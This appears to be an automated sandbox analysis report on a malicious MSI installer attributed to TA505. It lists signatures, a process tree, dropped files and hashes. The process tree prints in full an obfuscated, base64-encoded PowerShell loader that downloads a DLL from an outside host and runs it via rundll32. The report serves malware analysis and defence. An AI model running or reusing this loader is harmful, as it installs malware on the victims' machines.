Analysis

  • max time kernel
    378s
  • max time network
    441s
  • platform
    windows10-1703_x64
  • resource
    win10-20230220-en
  • resource tags

    arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system
  • submitted
    03/05/2023, 16:51

General

  • Target
    66dcb3.msi
  • Size 11.0MB
  • Sample230503-vc161afd84
  • SHA256 e4edb4cc8f35c7bab6e89774a279593d492714fce9865e53879f87d3704ad96c
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • TA505

    Cybercrime group active since 2015, responsible for families like Dridex and Locky.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 13 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 55 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\66dcb3.msi
    1⤵
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:2408
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2980
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding ECCA1580FE75091188D70D2797567BB2
      2⤵
      • Loads dropped DLL
      PID:1568
    • C:\Windows\Installer\MSID4A2.tmp
      "C:\Windows\Installer\MSID4A2.tmp" /DontWait /HideWindow powershell.exe -Exec Bypass -enc JABmAHIAbwBtACAAPQAgAFMAcABsAGkAdAAtAFAAYQB0AGgAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAATIFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAEwAaQB0AGUAcwBvAGYAdABcAEkAbgBzAHQAYQBsAGwAIgApAC4AUABhAHQAaAAgAC0AbABlAGEAZgA7AA0ACgAkAGQAaQByACAAPQAgACQAZQBuAHYAOgBwAHIAbwBnAHIAYQBtAGQAYQB0AGEAOwANAAoAJABmAG4AIAA9ACAAJABkAGkAcgAgACsAIAAiAFwAIgAgACsAIAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AKQAuAFQAbwBTAHQAcgBpAG4AZwAoACIAeAA4ACIAKQAgACsAIAAiAC4AZABhAHQAIgANAAoAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA0ACgAkAGQAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZABvAHcAbgBsAG8AYQBkAC0AYwBkAG4ALgBjAG8AbQAiADsADQAKACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGQAIAArACAAIgAvAGQAbwB3AG4AbABvAGEAZAAuAHAAaABwAD8AZgA9AEwAZAByAHAALgBkAGwAbAAmAGYAcgBvAG0APQAiACAAKwAgACQAZgByAG8AbQAsACAAJABmAG4AKQA7AA0ACgAkAHIAYQB3ACAAPQAgACIATQBaACIAIAArACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAGYAbgAgAC0AUgBhAHcAKQAuAFIAZQBtAG8AdgBlACgAMAAsACAAMgApADsADQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACgAJABmAG4AKQAgAC0ATgBvAE4AZQB3AGwAaQBuAGUAIAAtAFYAYQBsAHUAZQAgACQAcgBhAHcADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJwAiACcAIAArACAAJABmAG4AIAArACAAJwAiACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByACcAKQA7AA==
      2⤵
      • Executes dropped EXE
      PID:8
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Exec Bypass -enc JABmAHIAbwBtACAAPQAgAFMAcABsAGkAdAAtAFAAYQB0AGgAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAATIFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAEwAaQB0AGUAcwBvAGYAdABcAEkAbgBzAHQAYQBsAGwAIgApAC4AUABhAHQAaAAgAC0AbABlAGEAZgA7AA0ACgAkAGQAaQByACAAPQAgACQAZQBuAHYAOgBwAHIAbwBnAHIAYQBtAGQAYQB0AGEAOwANAAoAJABmAG4AIAA9ACAAJABkAGkAcgAgACsAIAAiAFwAIgAgACsAIAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AKQAuAFQAbwBTAHQAcgBpAG4AZwAoACIAeAA4ACIAKQAgACsAIAAiAC4AZABhAHQAIgANAAoAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA0ACgAkAGQAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZABvAHcAbgBsAG8AYQBkAC0AYwBkAG4ALgBjAG8AbQAiADsADQAKACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGQAIAArACAAIgAvAGQAbwB3AG4AbABvAGEAZAAuAHAAaABwAD8AZgA9AEwAZAByAHAALgBkAGwAbAAmAGYAcgBvAG0APQAiACAAKwAgACQAZgByAG8AbQAsACAAJABmAG4AKQA7AA0ACgAkAHIAYQB3ACAAPQAgACIATQBaACIAIAArACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAGYAbgAgAC0AUgBhAHcAKQAuAFIAZQBtAG8AdgBlACgAMAAsACAAMgApADsADQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACgAJABmAG4AKQAgAC0ATgBvAE4AZQB3AGwAaQBuAGUAIAAtAFYAYQBsAHUAZQAgACQAcgBhAHcADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJwAiACcAIAArACAAJABmAG4AIAArACAAJwAiACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByACcAKQA7AA==
    1⤵
    • Blocklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3008
    • C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\ProgramData\3cf19762.dat",DllRegisterServer
      2⤵
        PID:4888

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e56c308.rbs

          • Path C:\Config.Msi\e56c308.rbs
          • Size 1KB
          • SHA256 f14d2875679047877128359c32a0fdb30cc664c62121a819b9769d5733a6dc13
          • MD5 SHA1 SHA512

          __PSScriptPolicyTest_p0v5wtpa.lvc.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p0v5wtpa.lvc.ps1
          • Size 1B
          • SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
          • MD5 SHA1 SHA512

          MSIC47D.tmp

          • Path C:\Windows\Installer\MSIC47D.tmp
          • Size 550KB
          • SHA256 ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca
          • MD5 SHA1 SHA512 SSDEEP

          MSICD68.tmp

          • Path C:\Windows\Installer\MSICD68.tmp
          • Size 550KB
          • SHA256 ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca
          • MD5 SHA1 SHA512 SSDEEP

          MSICEA1.tmp

          • Path C:\Windows\Installer\MSICEA1.tmp
          • Size 550KB
          • SHA256 ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca
          • MD5 SHA1 SHA512 SSDEEP

          MSICEA1.tmp

          • Path C:\Windows\Installer\MSICEA1.tmp
          • Size 550KB
          • SHA256 ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca
          • MD5 SHA1 SHA512 SSDEEP

          MSICF9C.tmp

          • Path C:\Windows\Installer\MSICF9C.tmp
          • Size 927KB
          • SHA256 ebf432e9b8068e139e85e2c26a1d67238b3c6071158cd43f4926029ba187c190
          • MD5 SHA1 SHA512 SSDEEP

          MSID088.tmp

          • Path C:\Windows\Installer\MSID088.tmp
          • Size 550KB
          • SHA256 ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca
          • MD5 SHA1 SHA512 SSDEEP

          MSID4A2.tmp

          • Path C:\Windows\Installer\MSID4A2.tmp
          • Size 549KB
          • SHA256 9dbaf4e4632e70652ff72bb7890c35e3b9cd7a6939b29b5eeec0c636d098c64e
          • MD5 SHA1 SHA512 SSDEEP

          MSIC47D.tmp

          • Path \Windows\Installer\MSIC47D.tmp
          • Size 550KB
          • SHA256 ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca
          • MD5 SHA1 SHA512 SSDEEP

          MSICD68.tmp

          • Path \Windows\Installer\MSICD68.tmp
          • Size 550KB
          • SHA256 ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca
          • MD5 SHA1 SHA512 SSDEEP

          MSICEA1.tmp

          • Path \Windows\Installer\MSICEA1.tmp
          • Size 550KB
          • SHA256 ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca
          • MD5 SHA1 SHA512 SSDEEP

          MSICF9C.tmp

          • Path \Windows\Installer\MSICF9C.tmp
          • Size 927KB
          • SHA256 ebf432e9b8068e139e85e2c26a1d67238b3c6071158cd43f4926029ba187c190
          • MD5 SHA1 SHA512 SSDEEP

          MSID088.tmp

          • Path \Windows\Installer\MSID088.tmp
          • Size 550KB
          • SHA256 ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca
          • MD5 SHA1 SHA512 SSDEEP

          memory/3008-175-0x00000224999F0000-0x0000022499A66000-memory.dmp

          memory/3008-176-0x0000022499760000-0x0000022499770000-memory.dmp

          memory/3008-184-0x0000022499760000-0x0000022499770000-memory.dmp

          memory/3008-172-0x0000022499730000-0x0000022499752000-memory.dmp

          memory/3008-197-0x0000022499760000-0x0000022499770000-memory.dmp

          memory/3008-229-0x0000022499760000-0x0000022499770000-memory.dmp